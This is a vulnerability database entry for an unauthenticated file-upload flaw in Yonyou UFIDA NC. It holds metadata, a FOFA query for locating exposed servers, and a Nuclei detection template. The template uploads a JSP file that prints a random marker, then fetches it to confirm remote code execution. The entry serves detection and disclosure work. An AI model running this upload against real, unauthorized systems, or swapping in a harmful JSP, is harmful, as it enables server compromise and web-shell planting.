SecurityContext

yonyou-nc-grouptemplet-fileupload: UFIDA NC Grouptemplet Interface - Unauthenticated File Upload

Classification

  • Cpe: cpe:2.3:a:yonyou:ufida-nc:*:*:*:*:*:*:*:*
  • Checked, none or zero: cwe
  • Not known: cvss score, cvss vector, epss score, epss percentile

Metadata

  • Fofa-query: app="用友-UFIDA-NC
  • Max-request: 2
  • Product: ufida-nc
  • Vendor: yonyou
  • Verified: yes

Products

ProductIndexedUrl
yonyou:ufida-ncyes/v1/products/yonyou/ufida-nc

Labels

  • Name: UFIDA NC - Unrestricted File Upload
  • Impact: Unauthenticated attackers can upload malicious files, potentially leading to remote code execution and full system compromise.
  • Remediation: Update to the latest version of UFIDA NC.
  • Vulnerability type: unrestricted_file_upload
  • Vulnerability impact: remote_code_execution
  • Requirement type: none
  • Labels source: securitycontext
  • Not known: requirements, from cve

```yaml

id: yonyou-nc-grouptemplet-fileupload

info:

name: UFIDA NC Grouptemplet Interface - Unauthenticated File Upload

author: SleepingBag945

severity: critical

description: |

The UFIDA NC Grouptemplet Interface permits unauthenticated users to upload potentially malicious files.

reference:

- https://www.seebug.org/vuldb/ssvid-99547

- https://github.com/Augensternyu/POC-bomber/blob/main/pocs/redteam/yongyou_nc_fileupload_2022.py

classification:

cpe: cpe:2.3:a:yonyou:ufida-nc:*:*:*:*:*:*:*:*

metadata:

verified: true

max-request: 2

fofa-query: app="用友-UFIDA-NC

product: ufida-nc

vendor: yonyou

tags: yonyou,intrusive,ufida,fileupload,vuln

variables:

v1: "{{rand_int(1,100)}}"

http:

- raw:

- |

POST /uapim/upload/grouptemplet?groupid={{v1}}&fileType=jsp HTTP/1.1

Host: {{Hostname}}

Content-type: multipart/form-data; boundary=----------Ef1KM7GI3Ef1ei4Ij5ae0KM7cH2KM7

------------Ef1KM7GI3Ef1ei4Ij5ae0KM7cH2KM7

Content-Disposition: form-data; name="upload"; filename="{{randstr_1}}.jsp"

Content-Type: application/octet-stream

<%out.println("{{randstr_2}}");%>

------------Ef1KM7GI3Ef1ei4Ij5ae0KM7cH2KM7--

- |

GET /uapim/static/pages/{{v1}}/head.jsp HTTP/1.1

Host: {{Hostname}}

matchers-condition: and

matchers:

- type: dsl

dsl:

- "status_code_1 == 200"

- "status_code_2 == 200 && contains(body_2,'{{randstr_2}}')"

condition: and

digest: 490a0046304402202534e2a332ffe6a1a0e1635a9e3b208ea41c9c80fdca0078685aff919ad28ef002206eefcad8484e5752a6460fd919ec4a466dbf82a0336f73ad3b89c1b40a3be89f:922c64590222798bb761d5b6d8e72950

```